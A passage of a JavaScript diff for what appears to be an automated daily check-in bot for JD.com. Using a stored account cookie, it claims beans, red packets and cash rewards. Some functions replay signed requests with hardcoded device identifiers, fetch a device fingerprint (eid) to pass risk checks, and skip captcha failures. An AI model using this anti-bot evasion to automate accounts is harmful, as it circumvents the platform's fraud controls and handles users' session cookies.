data.match(/\"text\":\"(\d+)京豆\"/)[1] + } + merge[key].notify = `${title}: 成功, 明细: ${merge[key].bean || '无'}京豆 🐶` + merge[key].success = 1 + } else { + console.log(`\n${title}签到失败(1)${Details}`) + if (data.match(/(已签到|已领取)/)) { + merge[key].notify = `${title}: 失败, 原因: 已签过 ⚠️` + } else if (data.match(/(不存在|已结束|未开始)/)) { + merge[key].notify = `${title}: 失败, 原因: 活动已结束 ⚠️` + } else if (data.match(/\"code\":\"?3\"?/)) { + merge[key].notify = `${title}: 失败, 原因: Cookie失效‼️` + } else { + const ng = data.match(/\"(errorMessage|subCodeMsg)\":\"(.+?)\"/) + merge[key].notify = `${title}: 失败, ${ng?ng[2]:`原因: 未知`} ⚠️` + } + merge[key].fail = 1 + } + } + } catch (eor) { + $nobyda.AnError(title, key, eor, response, data) + } finally { + resolve() + } + }) + }, s) + if (out) setTimeout(resolve, out + s) + }); +} + +async function JDUserSign2(s, key, title, tid) { + await new Promise(resolve => { + $nobyda.get({ + url: `https://jdjoy.jd.com/api/turncard/channel/detail?turnTableId=${tid}&invokeKey=qRKHmL4sna8ZOP9F`, + headers: { + Cookie: KEY + } + }, async function(error, response, data) { + try { + if(data) { + data = JSON.parse(data); + if (data.success && data.data) { + data = data.data + if (!data.hasSign) { + let ss = await Faker.getBody(`https://prodev.m.jd.com/mall/active/${tid}/index.html`) + fp = ss.fp + await getEid(ss, title) + } + } + } + } catch(eor) { + $nobyda.AnError(title, key, eor, response, data) + } finally { + resolve() + } + }) + if (out) setTimeout(resolve, out + s) + }); + return new Promise(resolve => { + setTimeout(() => { + const JDUrl = { + url: 'https://jdjoy.jd.com/api/turncard/channel/sign?invokeKey=qRKHmL4sna8ZOP9F', + headers: { + Cookie: KEY + }, + body: `turnTableId=${tid}&fp=${fp}&eid=${eid}` + }; + $nobyda.post(JDUrl, function(error, response, data) { + try { + if (error) { + throw new Error(error) + } else { + const Details = LogDetails ? `response:\n${data}` : ''; + if (data.match(/\"success\":true/)) { + console.log(`\n${title}签到成功(2)${Details}`) + if (data.match(/\"jdBeanQuantity\":\d+/)) { + merge[key].bean = data.match(/\"jdBeanQuantity\":(\d+)/)[1] + } + merge[key].notify = `${title}: 成功, 明细: ${merge[key].bean || '无'}京豆 🐶` + merge[key].success = 1 + } else { + const captcha = /请进行验证/.test(data); + if (data.match(/(已经签到|已经领取)/)) { + merge[key].notify = `${title}: 失败, 原因: 已签过 ⚠️` + } else if (data.match(/(不存在|已结束|未开始)/)) { + merge[key].notify = `${title}: 失败, 原因: 活动已结束 ⚠️` + } else if (data.match(/(没有登录|B0001)/)) { + merge[key].notify = `${title}: 失败, 原因: Cookie失效‼️` + } else if (!captcha) { + const ng = data.match(/\"(errorMessage|subCodeMsg)\":\"(.+?)\"/) + merge[key].notify = `${title}: 失败, ${ng?ng[2]:`原因: 未知`} ⚠️` + } + if (!captcha) merge[key].fail = 1; + console.log(`\n${title}签到失败(2)${captcha?`\n需要拼图验证, 跳过通知记录 ⚠️`:``}${Details}`) + } + } + } catch (eor) { + $nobyda.AnError(title, key, eor, response, data) + } finally { + resolve() + } + }) + }, 200 + s) + if (out) setTimeout(resolve, out + s + 200) + }); +} + +function JDFlashSale(s) { + merge.JDFSale = {}; + return new Promise(resolve => { + if (disable("JDFSale")) return resolve() + setTimeout(() => { + const JDPETUrl = { + url: 'https://api.m.jd.com/client.action?functionId=partitionJdSgin', + headers: { + Cookie: KEY + }, + body: "body=%7B%22version%22%3A%22v2%22%7D&client=apple&clientVersion=9.0.8&openudid=1fce88cd05c42fe2b054e846f11bdf33f016d676&sign=6768e2cf625427615dd89649dd367d41&st=1597248593305&sv=121" + }; + $nobyda.post(JDPETUrl, async function(error, response, data) { + try { + if (error) { + throw new Error(error) + } else { + const Details = LogDetails ? "response:\n" + data : ''; + const cc = JSON.parse(data) + if (cc.result && cc.result.code == 0) { + console.log("\n" + "京东商城-闪购签到成功 " + Details) + merge.JDFSale.bean = cc.result.jdBeanNum || 0 + merge.JDFSale.notify = "京东商城-闪购: 成功, 明细: " + (merge.JDFSale.bean || "无") + "京豆 🐶" + merge.JDFSale.success = 1 + } else { + console.log("\n" + "京东商城-闪购签到失败 " + Details) + if (data.match(/(已签到|已领取|\"2005\")/)) { + merge.JDFSale.notify = "京东商城-闪购: 失败, 原因: 已签过 ⚠️" + } else if (data.match(/不存在|已结束|\"2008\"|\"3001\"/)) { + await FlashSaleDivide(s); //瓜分京豆 + return + } else if (data.match(/(\"code\":\"3\"|\"1003\")/)) { + merge.JDFSale.notify = "京东商城-闪购: 失败, 原因: Cookie失效‼️" + } else { + const msg = data.match(/\"msg\":\"([\u4e00-\u9fa5].+?)\"/) + merge.JDFSale.notify = `京东商城-闪购: 失败, ${msg ? msg[1] : `原因: 未知`} ⚠️` + } + merge.JDFSale.fail = 1 + } + } + } catch (eor) { + $nobyda.AnError("京东商城-闪购", "JDFSale", eor, response, data) + } finally { + resolve() + } + }) + }, s) + if (out) setTimeout(resolve, out + s) + }); +} + +function FlashSaleDivide(s) { + return new Promise(resolve => { + setTimeout(() => { + const Url = { + url: 'https://api.m.jd.com/client.action?functionId=partitionJdShare', + headers: { + Cookie: KEY + }, + body: "body=%7B%22version%22%3A%22v2%22%7D&client=apple&clientVersion=9.0.8&openudid=1fce88cd05c42fe2b054e846f11bdf33f016d676&sign=49baa3b3899b02bbf06cdf41fe191986&st=1597682588351&sv=111" + }; + $nobyda.post(Url, function(error, response, data) { + try { + if (error) { + throw new Error(error) + } else { + const Details = LogDetails ? "response:\n" + data : ''; + const cc = JSON.parse(data) + if (cc.result.code == 0) { + merge.JDFSale.success = 1 + merge.JDFSale.bean = cc.result.jdBeanNum || 0 + merge.JDFSale.notify = "京东闪购-瓜分: 成功, 明细: " + (merge.JDFSale.bean || "无") + "京豆 🐶" + console.log("\n" + "京东闪购-瓜分签到成功 " + Details) + } else { + merge.JDFSale.fail = 1 + console.log("\n" + "京东闪购-瓜分签到失败 " + Details) + if (data.match(/已参与|已领取|\"2006\"/)) { + merge.JDFSale.notify = "京东闪购-瓜分: 失败, 原因: 已瓜分 ⚠️" + } else if (data.match(/不存在|已结束|未开始|\"2008\"|\"2012\"/)) { + merge.JDFSale.notify = "京东闪购-瓜分: 失败, 原因: 活动已结束 ⚠️" + } else if (data.match(/\"code\":\"1003\"|未获取/)) { + merge.JDFSale.notify = "京东闪购-瓜分: 失败, 原因: Cookie失效‼️" + } else { + const msg = data.match(/\"msg\":\"([\u4e00-\u9fa5].+?)\"/) + merge.JDFSale.notify = `京东闪购-瓜分: 失败, ${msg ? msg[1] : `原因: 未知`} ⚠️` + } + } + } + } catch (eor) { + $nobyda.AnError("京东闪购-瓜分", "JDFSale", eor, response, data) + } finally { + resolve() + } + }) + }, s) + if (out) setTimeout(resolve, out + s) + }); +} + +function JingDongCash(s) { + merge.JDCash = {}; + return new Promise(resolve => { + if (disable("JDCash")) return resolve() + setTimeout(() => { + const JDCAUrl = { + url: 'https://api.m.jd.com/client.action?functionId=ccSignInNew', + headers: { + Cookie: KEY + }, + body: "body=%7B%22pageClickKey%22%3A%22CouponCenter%22%2C%22eid%22%3A%22O5X6JYMZTXIEX4VBCBWEM5PTIZV6HXH7M3AI75EABM5GBZYVQKRGQJ5A2PPO5PSELSRMI72SYF4KTCB4NIU6AZQ3O6C3J7ZVEP3RVDFEBKVN2RER2GTQ%22%2C%22shshshfpb%22%3A%22v1%5C%2FzMYRjEWKgYe%2BUiNwEvaVlrHBQGVwqLx4CsS9PH1s0s0Vs9AWk%2B7vr9KSHh3BQd5NTukznDTZnd75xHzonHnw%3D%3D%22%2C%22childActivityUrl%22%3A%22openapp.jdmobile%253a%252f%252fvirtual%253fparams%253d%257b%255c%2522category%255c%2522%253a%255c%2522jump%255c%2522%252c%255c%2522des%255c%2522%253a%255c%2522couponCenter%255c%2522%257d%22%2C%22monitorSource%22%3A%22cc_sign_ios_index_config%22%7D&client=apple&clientVersion=8.5.0&d_brand=apple&d_model=iPhone8%2C2&openudid=1fce88cd05c42fe2b054e846f11bdf33f016d676&scope=11&screen=1242%2A2208&sign=1cce8f76d53fc6093b45a466e93044da&st=1581084035269&sv=102" + }; + $nobyda.post(JDCAUrl, function(error, response, data) { + try { + if (error) { + throw new Error(error) + } else { + const Details = LogDetails ? "response:\n" + data : ''; + const cc = JSON.parse(data) + if (cc.busiCode == "0") { + console.log("\n" + "京东现金-红包签到成功 " + Details) + merge.JDCash.success = 1 + merge.JDCash.Cash = cc.result.signResult.signData.amount || 0 + merge.JDCash.notify = `京东现金-红包: 成功, 明细: ${merge.JDCash.Cash || `无`}红包 🧧` + } else { + console.log("\n" + "京东现金-红包签到失败 " + Details) + merge.JDCash.fail = 1 + if (data.match(/(\"busiCode\":\"1002\"|完成签到)/)) { + merge.JDCash.notify = "京东现金-红包: 失败, 原因: 已签过 ⚠️" + } else if (data.match(/(不存在|已结束)/)) { + merge.JDCash.notify = "京东现金-红包: 失败, 原因: 活动已结束 ⚠️" + } else if (data.match(/(\"busiCode\":\"3\"|未登录)/)) { + merge.JDCash.notify = "京东现金-红包: 失败, 原因: Cookie失效‼️" + } else { + const msg = data.split(/\"msg\":\"([\u4e00-\u9fa5].+?)\"/)[1]; + merge.JDCash.notify = `京东现金-红包: 失败, ${msg||`原因: 未知`} ⚠️` + } + } + } + } catch (eor) { + $nobyda.AnError("京东现金-红包", "JDCash", eor, response, data) + } finally { + resolve() + } + }) + }, s) + if (out) setTimeout(resolve, out + s) + }); +} + +function JDMagicCube(s, sign) { + merge.JDCube = {}; + return new Promise((resolve, reject) => { + if (disable("JDCube")) return reject() + const JDUrl = { + url: `https://api.m.jd.com/client.action?functionId=getNewsInteractionInfo&appid=smfe${sign?`&body=${encodeURIComponent(`{"sign":${sign}}`)}`:``}`, + headers: { + Cookie: KEY, + } + }; + $nobyda.get(JDUrl, async (error, response, data) => { + try { + if (error) throw new Error(error) + const Details = LogDetails ? "response:\n" + data : ''; + console.log(`\n京东魔方-尝试查询活动(${sign}) ${Details}`) + if (data.match(/\"interactionId\":\d+/)) { + resolve({ + id: data.match(/\"interactionId\":(\d+)/)[1], + sign: sign || null + }) + } else if (data.match(/配置异常/) && sign) { + await JDMagicCube(s, sign == 2 ? 1 : null) + reject() + } else { + resolve(null) + } + } catch (eor) { + $nobyda.AnError("京东魔方-查询", "JDCube", eor, response, data) + reject() + } + }) + if (out) setTimeout(reject, out + s) + }).then(data => { + return JDMagicCubeSign(s, data) + }, () => {}); +} + +function JDMagicCubeSign(s, id) { + return new Promise(resolve => { + setTimeout(() => { + const JDMCUrl = { + url: `https://api.m.jd.com/client.action?functionId=getNewsInteractionLotteryInfo&appid=smfe${id?`&body=${encodeURIComponent(`{${id.sign?`"sign":${id.sign},`:``}"interactionId":${id.id}}`)}`:``}`, + headers: { + Cookie: KEY, + } + }; + $nobyda.get(JDMCUrl, function(error, response, data) { + try { + if (error) { + throw new Error(error) + } else { + const Details = LogDetails ? "response:\n" + data : ''; + const cc = JSON.parse(data) + if (data.match(/(\"name\":)/)) { + console.log("\n" + "京东商城-魔方签到成功 " + Details) + merge.JDCube.success = 1 + if (data.match(/(\"name\":\"京豆\")/)) { + merge.JDCube.bean = cc.result.lotteryInfo.quantity || 0 + merge.JDCube.notify = `京东商城-魔方: 成功, 明细: ${merge.JDCube.bean || `无`}京豆 🐶` + } else { + merge.JDCube.notify = `京东商城-魔方: 成功, 明细: ${cc.result.lotteryInfo.name || `未知`} 🎉` + } + } else { + console.log("\n" + "京东商城-魔方签到失败 " + Details) + merge.JDCube.fail = 1 + if (data.match(/(一闪而过|已签到|已领取)/)) { + merge.JDCube.notify = "京东商城-魔方: 失败, 原因: 无机会 ⚠️" + } else if (data.match(/(不存在|已结束)/)) { + merge.JDCube.notify = "京东商城-魔方: 失败, 原因: 活动已结束 ⚠️" + } else if (data.match(/(\"code\":3)/)) { + merge.JDCube.notify = "京东商城-魔方: 失败, 原因: Cookie失效‼️" + } else { + merge.JDCube.notify = "京东商城-魔方: 失败, 原因: 未知 ⚠️" + } + } + } + } catch (eor) { + $nobyda.AnError("京东商城-魔方", "JDCube", eor, response, data) + } finally { + resolve() + } + }) + }, s) + if (out) setTimeout(resolve, out + s) + }); +} + +function JingDongSubsidy(s) { + merge.subsidy = {}; + return new Promise(resolve => { + if (disable("subsidy")) return resolve() + setTimeout(() => { + const subsidyUrl = { + url: 'https://ms.jr.jd.com/gw/generic/uc/h5/m/signIn7', + headers: { + Referer: "https://active.jd.com/forever/cashback/index", + Cookie: KEY + } + }; + $nobyda.get(subsidyUrl, function(error, response, data) { + try { + if (error) { + throw new Error(error) + } else { + const Details = LogDetails ? "response:\n" + data : ''; + const cc = JSON.parse(data) + if (cc.resultCode == 0 && cc.resultData.data && cc.resultData.data.thisAmount) { + console.log("\n" + "京东商城-金贴签到成功 " + Details) + merge.subsidy.subsidy = cc.resultData.data.thisAmountStr + merge.subsidy.notify = `京东商城-金贴: 成功, 明细: ${merge.subsidy.subsidy||`无`}金贴 💰` + merge.subsidy.success = 1 + } else { + console.log("\n" + "京东商城-金贴签到失败 " + Details) + merge.subsidy.fail = 1 + if (data.match(/已存在|"thisAmount":0/)) { + merge.subsidy.notify = "京东商城-金贴: 失败, 原因: 无金贴 ⚠️" + } else if (data.match(/请先登录/)) { + merge.subsidy.notify = "京东商城-金贴: 失败, 原因: Cookie失效‼️" + } else { + const msg = data.split(/\"msg\":\"([\u4e00-\u9fa5].+?)\"/)[1]; + merge.subsidy.notify = `京东商城-金贴: 失败, ${msg||`原因: 未知`} ⚠️` + } + } + } + } catch (eor) { + $nobyda.AnError("京东商城-金贴", "subsidy", eor, response, data) + } finally { + resolve() + } + }) + }, s) + if (out) setTimeout(resolve, out + s) + }); +} + +function JingRongDoll(s, key, title, code, type, num, award, belong) { + merge[key] = {}; + return new Promise(resolve => { + if (disable(key)) return resolve() + setTimeout(() => { + const DollUrl = { + url: "https://nu.jr.jd.com/gw/generic/jrm/h5/m/process", + headers: { + Cookie: KEY + }, + body: `reqData=${encodeURIComponent(`{"actCode":"${code}","type":${type?type:`3`}${code=='F68B2C3E71'?`,"frontParam":{"belong":"${belong}"}`:code==`1DF13833F7`?`,"frontParam":{"channel":"JR","belong":4}`:``}}`)}` + }; + $nobyda.post(DollUrl, async function(error, response, data) { + try { + if (error) { + throw new Error(error) + } else { + var cc = JSON.parse(data) + const Details = LogDetails ? "response:\n" + data : ''; + if (cc.resultCode == 0) { + if (cc.resultData.data.businessData != null) { + console.log(`\n${title}查询成功 ${Details}`) + if (cc.resultData.data.businessData.pickStatus == 2) { + if (data.match(/\"rewardPrice\":\"\d.*?\"/)) { + const JRDoll_bean = data.match(/\"rewardPrice\":\"(\d.*?)\"/)[1] + const JRDoll_type = data.match(/\"rewardName\":\"金贴奖励\"/) ? true : false + await JingRongDoll(s, key, title, code, '4', JRDoll_bean, JRDoll_type) + } else { + merge[key].success = 1 + merge[key].notify = `${title}: 成功, 明细: 无奖励 🐶` + } + } else if (code == 'F68B2C3E71' || code == '1DF13833F7') { + if (!data.match(/"businessCode":"30\dss?q"/)) { + merge[key].success = 1 + const ct = data.match(/\"count\":\"?(\d.*?)\"?,/) + if (code == 'F68B2C3E71' && belong == 'xianjin') { + merge[key].Money = ct ? ct[1] > 9 ? `0.${ct[1]}` : `0.0${ct[1]}` : 0 + merge[key].notify = `${title}: 成功, 明细: ${merge[key].Money||`无`}现金 💰` + } else if (code == 'F68B2C3E71' && belong == 'jingdou') { + merge[key].bean = ct ? ct[1] : 0; + merge[key].notify = `${title}: 成功, 明细: ${merge[key].bean||`无`}京豆 🐶` + } else if (code == '1DF13833F7') { + merge[key].subsidy = ct ? ct[1] : 0; + merge[key].notify = `${title}: 成功, 明细: ${merge[key].subsidy||`无`}金贴 💰` + } + } else { + const es = cc.resultData.data.businessMsg + const ep = cc.resultData.data.businessData.businessMsg + const tp = data.match(/已领取|300ss?q/) ? `已签过` : `${ep||es||cc.resultMsg||`未知`}` + merge[key].notify = `${title}: 失败, 原因: ${tp} ⚠️` + merge[key].fail = 1 + } + } else { + merge[key].notify = `${title}: 失败, 原因: 已签过 ⚠️`; + merge[key].fail = 1 + } + } else if (cc.resultData.data.businessCode == 200) { + console.log(`\n${title}签到成功 ${Details}`) + if (!award) { + merge[key].bean = num ? num.match(/\d+/)[0] : 0 + } else { + merge[key].subsidy = num || 0 + } + merge[key].success = 1 + merge[key].notify = `${title}: 成功, 明细: ${(award?num:merge[key].bean)||`无`}${award?`金贴 💰`:`京豆 🐶`}` + } else { + console.log(`\n${title}领取异常 ${Details}`) + if (num) console.log(`\n${title} 请尝试手动领取, 预计可得${num}${award?`金贴`:`京豆`}: \nhttps://uf1.jr.jd.com/up/redEnvelopes/index.html?actCode=${code}\n`); + merge[key].fail = 1; + merge[key].notify = `${title}: 失败, 原因: 领取异常 ⚠️`; + } + } else { + console.log(`\n${title}签到失败 ${Details}`) + const redata = typeof(cc.resultData) == 'string' ? cc.resultData : '' + merge[key].notify = `${title}: 失败, ${cc.resultCode==3?`原因: Cookie失效‼️`:`${redata||'原因: 未知 ⚠️'}`}` + merge[key].fail = 1; + } + } + } catch (eor) { + $nobyda.AnError(title, key, eor, response, data) + } finally { + resolve() + } + }) + }, s) + if (out) setTimeout(resolve, out + s) + }); +} + +function JingDongGetCash(s) { + merge.JDGetCash = {}; + return new Promise(resolve => { + if (disable("JDGetCash")) return resolve() + setTimeout(() => { + const GetCashUrl = { + url: 'https://api.m.jd.com/client.action?functionId=cash_sign&body=%7B%22remind%22%3A0%2C%22inviteCode%22%3A%22%22%2C%22type%22%3A0%2C%22breakReward%22%3A0%7D&client=apple&clientVersion=9.0.8&openudid=1fce88cd05c42fe2b054e846f11bdf33f016d676&sign=7e2f8bcec13978a691567257af4fdce9&st=1596954745073&sv=111', + headers: { + Cookie: KEY, + } + }; + $nobyda.get(GetCashUrl, function(error, response, data) { + try { + if (error) { + throw new Error(error) + } else { + const cc = JSON.parse(data); + const Details = LogDetails ? "response:\n" + data : ''; + if (cc.data.success && cc.data.result) { + console.log("\n" + "京东商城-现金签到成功 " + Details) + merge.JDGetCash.success = 1 + merge.JDGetCash.Money = cc.data.result.signCash || 0 + merge.JDGetCash.notify = `京东商城-现金: 成功, 明细: ${cc.data.result.signCash||`无`}现金 💰` + } else { + console.log("\n" + "京东商城-现金签到失败 " + Details) + merge.JDGetCash.fail = 1 + if (data.match(/\"bizCode\":201|已经签过/)) { + merge.JDGetCash.notify = "京东商城-现金: 失败, 原因: 已签过 ⚠️" + } else if (data.match(/\"code\":300|退出登录/)) { + merge.JDGetCash.notify = "京东商城-现金: 失败, 原因: Cookie失效‼️" + } else { + merge.JDGetCash.notify = "京东商城-现金: 失败, 原因: 未知 ⚠️" + } + } + } + } catch (eor) { + $nobyda.AnError("京东商城-现金", "JDGetCash", eor, response, data) + } finally { + resolve() + } + }) + }, s) + if (out) setTimeout(resolve, out + s) + }); +} + +function JingDongStore(s) { + merge.JDGStore = {}; + return new Promise(resolve => { + if (disable("JDGStore")) return resolve() + setTimeout(() => { + $nobyda.get({ + url: 'https://api.m.jd.com/api?appid=jdsupermarket&functionId=smtg_sign&clientVersion=8.0.0&client=m&body=%7B%7D', + headers: { + Cookie: KEY, + Origin: `https://jdsupermarket.jd.com` + } + }, (error, response, data) => { + try { + if (error) throw new Error(error); + const cc = JSON.parse(data); + const Details = LogDetails ? "response:\n" + data : ''; + if (cc.data && cc.data.success === true && cc.data.bizCode === 0) { + console.log(`\n京东商城-超市签到成功 ${Details}`) + merge.JDGStore.success = 1 + merge.JDGStore.bean = cc.data.result.jdBeanCount || 0 + merge.JDGStore.notify = `京东商城-超市: 成功, 明细: ${merge.JDGStore.bean||`无`}京豆 🐶` + } else { + if (!cc.data) cc.data = {} + console.log(`\n京东商城-超市签到失败 ${Details}`) + const tp = cc.data.bizCode == 811 ? `已签过` : cc.data.bizCode == 300 ? `Cookie失效` : `${cc.data.bizMsg||`未知`}` + merge.JDGStore.notify = `京东商城-超市: 失败, 原因: ${tp}${cc.data.bizCode==300?`‼️`:` ⚠️`}` + merge.JDGStore.fail = 1 + } + } catch (eor) { + $nobyda.AnError("京东商城-超市", "JDGStore", eor, response, data) + } finally { + resolve() + } + }) + }, s) + if (out) setTimeout(resolve, out + s) + }); +} + +function JDSecKilling(s) { //领券中心 + merge.JDSecKill = {}; + return new Promise((resolve, reject) => { + if (disable("JDSecKill")) return reject(); + setTimeout(() => { + $nobyda.post({ + url: 'https://api.m.jd.com/client.action', + headers: { + Cookie: KEY, + Origin: 'https://h5.m.jd.com' + }, + body: 'functionId=homePageV2&appid=SecKill2020' + }, (error, response, data) => { + try { + if (error) throw new Error(error); + const Details = LogDetails ? "response:\n" + data : ''; + const cc = JSON.parse(data); + if (cc.code == 203 || cc.code == 3 || cc.code == 101) { + merge.JDSecKill.notify = `京东秒杀-红包: 失败, 原因: Cookie失效‼️`; + } else if (cc.result && cc.result.projectId && cc.result.taskId) { + console.log(`\n京东秒杀-红包查询成功 ${Details}`) + return resolve({ + projectId: cc.result.projectId, + taskId: cc.result.taskId + }) + } else { + merge.JDSecKill.notify = `京东秒杀-红包: 失败, 暂无有效活动 ⚠️`; + } + merge.JDSecKill.fail = 1; + console.log(`\n京东秒杀-红包查询失败 ${Details}`) + reject() + } catch (eor) { + $nobyda.AnError("京东秒杀-查询", "JDSecKill", eor, response, data) + reject() + } + }) + }, s) + if (out) setTimeout(resolve, out + s) + }).then(async (id) => { + await new Promise(resolve => { + $nobyda.post({ + url: 'https://api.m.jd.com/client.action', + headers: { + Cookie: KEY, + Origin: 'https://h5.m.jd.com' + }, + body: `functionId=doInteractiveAssignment&body=%7B%22encryptProjectId%22%3A%22${id.projectId}%22%2C%22encryptAssignmentId%22%3A%22${id.taskId}%22%2C%22completionFlag%22%3Atrue%7D&client=wh5&appid=SecKill2020` + }, (error, response, data) => { + try { + if (error) throw new Error(error); + const Details = LogDetails ? "response:\n" + data : ''; + const cc = JSON.parse(data); + if (cc.msg == 'success' && cc.subCode == 0) { + console.log(`\n京东秒杀-红包签到成功 ${Details}`); + const qt = data.match(/"discount":(\d.*?),/); + merge.JDSecKill.success = 1; + merge.JDSecKill.Cash = qt ? qt[1] : 0; + merge.JDSecKill.notify = `京东秒杀-红包: 成功, 明细: ${merge.JDSecKill.Cash||`无`}红包 🧧`; + } else { + console.log(`\n京东秒杀-红包签到失败 ${Details}`); + merge.JDSecKill.fail = 1; + merge.JDSecKill.notify = `京东秒杀-红包: 失败, ${cc.subCode==103?`原因: 已领取`:cc.msg?cc.msg:`原因: 未知`} ⚠️`; + } + } catch (eor) { + $nobyda.AnError("京东秒杀-领取", "JDSecKill", eor, response, data); + } finally { + resolve(); + } + }) + }) + }, () => {}); +} + +function TotalSteel() { + merge.TotalSteel = {}; + return new Promise(resolve => { + if (disable("TSteel")) return resolve() + $nobyda.get({ + url: 'https://coin.jd.com/m/gb/getBaseInfo.html', + headers: { + Cookie: KEY + } + }, (error, response, data) => { + try { + if (error) throw new Error(error); + const Details = LogDetails ? "response:\n" + data : ''; + if (data.match(/(\"gbBalance\":\d+)/)) { + console.log("\n" + "京东-总钢镚查询成功 " + Details) + const cc = JSON.parse(data) + merge.TotalSteel.TSteel = cc.gbBalance + } else { + console.log("\n" + "京东-总钢镚查询失败 " + Details) + } + } catch (eor) { + $nobyda.AnError("账户钢镚-查询", "TotalSteel", eor, response, data) + } finally { + resolve() + } + }) + if (out) setTimeout(resolve, out) + }); +} + +function getEid(ss, title) { + return new Promise(resolve => { + const options = { + url: `https://gia.jd.com/fcf.html?a=${ss.a}`, + body: `d=${ss.d}`, + headers: { + "Content-Type": "application/x-www-form-urlencoded;charset=UTF-8" + } + } + $nobyda.post(options, async (err, resp, data) => { + try { + if (err) { + console.log(`\n${title} 登录: API查询请求失败 ‼️‼️`) + throw new Error(err); + } else { + if (data.indexOf("*_*") > 0) { + data = data.split("*_*", 2); + data = JSON.parse(data[1]); + eid = data.eid + } else { + console.log(`京豆api返回数据为空,请检查自身原因`) + } + } + } catch (eor) { + $nobyda.AnError(eor, resp); + } finally { + resolve(data); + } + }) + }) +} + +function TotalBean() { + merge.TotalBean = {}; + return new Promise(resolve => { + if (disable("Qbear")) return resolve() + $nobyda.get({ + url: 'https://me-api.jd.com/user_new/info/GetJDUserInfoUnion?sceneval=2', + headers: { + Cookie: KEY + } + }, (error, response, data) => { + try { + if (error) throw new Error(error); + const Details = LogDetails ? "response:\n" + data : ''; + const cc = JSON.parse(data) + if (cc.msg == 'success' && cc.retcode == 0) { + merge.TotalBean.nickname = cc.data.userInfo.baseInfo.nickname || "" + merge.TotalBean.Qbear = cc.data.assetInfo.beanNum || 0 + $nobyda.headUrl = cc.data.userInfo.baseInfo.headImageUrl || "" + console.log(`\n京东-总京豆查询成功 ${Details}`) + } else { + const name = decodeURIComponent(KEY.split(/pt_pin=(.+?);/)[1] || ''); + merge.TotalBean.nickname = cc.retcode == 1001 ? `${name} (CK失效‼️)` : ""; + console.log(`\n京东-总京豆查询失败 ${Details}`) + } + } catch (eor) { + $nobyda.AnError("账户京豆-查询", "TotalBean", eor, response, data) + } finally { + resolve() + } + }) + if (out) setTimeout(resolve, out) + }); +} + +function TotalCash() { + merge.TotalCash = {}; + return new Promise(resolve => { + if (disable("TCash")) return resolve() + $nobyda.post({ + url: 'https://api.m.jd.com/client.action?functionId=myhongbao_balance', + headers: { + Cookie: KEY + }, + body: "body=%7B%22fp%22%3A%22-1%22%2C%22appToken%22%3A%22apphongbao_token%22%2C%22childActivityUrl%22%3A%22-1%22%2C%22country%22%3A%22cn%22%2C%22openId%22%3A%22-1%22%2C%22childActivityId%22%3A%22-1%22%2C%22applicantErp%22%3A%22-1%22%2C%22platformId%22%3A%22appHongBao%22%2C%22isRvc%22%3A%22-1%22%2C%22orgType%22%3A%222%22%2C%22activityType%22%3A%221%22%2C%22shshshfpb%22%3A%22-1%22%2C%22platformToken%22%3A%22apphongbao_token%22%2C%22organization%22%3A%22JD%22%2C%22pageClickKey%22%3A%22-1%22%2C%22platform%22%3A%221%22%2C%22eid%22%3A%22-1%22%2C%22appId%22%3A%22appHongBao%22%2C%22childActiveName%22%3A%22-1%22%2C%22shshshfp%22%3A%22-1%22%2C%22jda%22%3A%22-1%22%2C%22extend%22%3A%22-1%22%2C%22shshshfpa%22%3A%22-1%22%2C%22activityArea%22%3A%22-1%22%2C%22childActivityTime%22%3A%22-1%22%7D&client=apple&clientVersion=8.5.0&d_brand=apple&networklibtype=JDNetworkBaseAF&openudid=1fce88cd05c42fe2b054e846f11bdf33f016d676&sign=fdc04c3ab0ee9148f947d24fb087b55d&st=1581245397648&sv=120" + }, (error, response, data) => { + try { + if (error) throw new Error(error); + const Details = LogDetails ? "response:\n" + data : ''; + if (data.match(/(\"totalBalance\":\d+)/)) { + console.log("\n" + "京东-总红包查询成功 " + Details) + const cc = JSON.parse(data) + merge.TotalCash.TCash = cc.totalBalance + } else { + console.log("\n" + "京东-总红包查询失败 " + Details) + } + } catch (eor) { + $nobyda.AnError("账户红包-查询", "TotalCash", eor, response, data) + } finally { + resolve() + } + }) + if (out) setTimeout(resolve, out) + }); +} + +function TotalSubsidy() { + merge.TotalSubsidy = {}; + return new Promise(resolve => { + if (disable("TotalSubsidy")) return resolve() + $nobyda.get({ + url: 'https://ms.jr.jd.com/gw/generic/uc/h5/m/mySubsidyBalance', + headers: { + Cookie: KEY, + Referer: 'https://active.jd.com/forever/cashback/index?channellv=wojingqb' + } + }, (error, response, data) => { + try { + if (error) throw new Error(error); + const cc = JSON.parse(data) + const Details = LogDetails ? "response:\n" + data : ''; + if (cc.resultCode == 0 && cc.resultData && cc.resultData.data) { + console.log("\n京东-总金贴查询成功 " + Details) + merge.TotalSubsidy.TSubsidy = cc.resultData.data.balance || 0 + } else { + console.log("\n京东-总金贴查询失败 " + Details) + } + } catch (eor) { + $nobyda.AnError("账户金贴-查询", "TotalSubsidy", eor, response, data) + } finally { + resolve() + } + }) + if (out) setTimeout(resolve, out) + }); +} + +function TotalMoney() { + merge.TotalMoney = {}; + return new Promise(resolve => { + if (disable("TotalMoney")) return resolve() + $nobyda.get({ + url: 'https://api.m.jd.com/client.action?functionId=cash_exchangePage&body=%7B%7D&build=167398&client=apple&clientVersion=9.1.9&openudid=1fce88cd05c42fe2b054e846f11bdf33f016d676&sign=762a8e894dea8cbfd91cce4dd5714bc5&st=1602179446935&sv=102', + headers: { + Cookie: KEY + } + }, (error, response, data) => { + try { + if (error) throw new Error(error); + const cc = JSON.parse(data) + const Details = LogDetails ? "response:\n" + data : ''; + if (cc.code == 0 && cc.data && cc.data.bizCode == 0 && cc.data.result) { + console.log("\n京东-总现金查询成功 " + Details) + merge.TotalMoney.TMoney = cc.data.result.totalMoney || 0 + } else { + console.log("\n京东-总现金查询失败 " + Details) + } + } catch (eor) { + $nobyda.AnError("账户现金-查询", "TotalMoney", eor, response, data) + } finally { + resolve() + } + }) + if (out) setTimeout(resolve, out) + }); +} + +function disable(Val, name, way) { + const read = $nobyda.read("JD_DailyBonusDisables") + const annal = $nobyda.read("JD_Crash_" + Val) + if (annal && way == 1 && boxdis) { + var Crash = $nobyda.write("", "JD_Crash_" + Val) + if (read) { + if (read.indexOf(Val) == -1) { + var Crash = $nobyda.write(`${read},${Val}`, "JD_DailyBonusDisables") + console.log(`\n${name}-触发自动禁用 ‼️`) + merge[Val].notify = `${name}: 崩溃, 触发自动禁用 ‼️` + merge[Val].error = 1 + $nobyda.disable = 1 + } + } else { + var Crash = $nobyda.write(Val, "JD_DailyBonusDisables") + console.log(`\n${name}-触发自动禁用 ‼️`) + merge[Val].notify = `${name}: 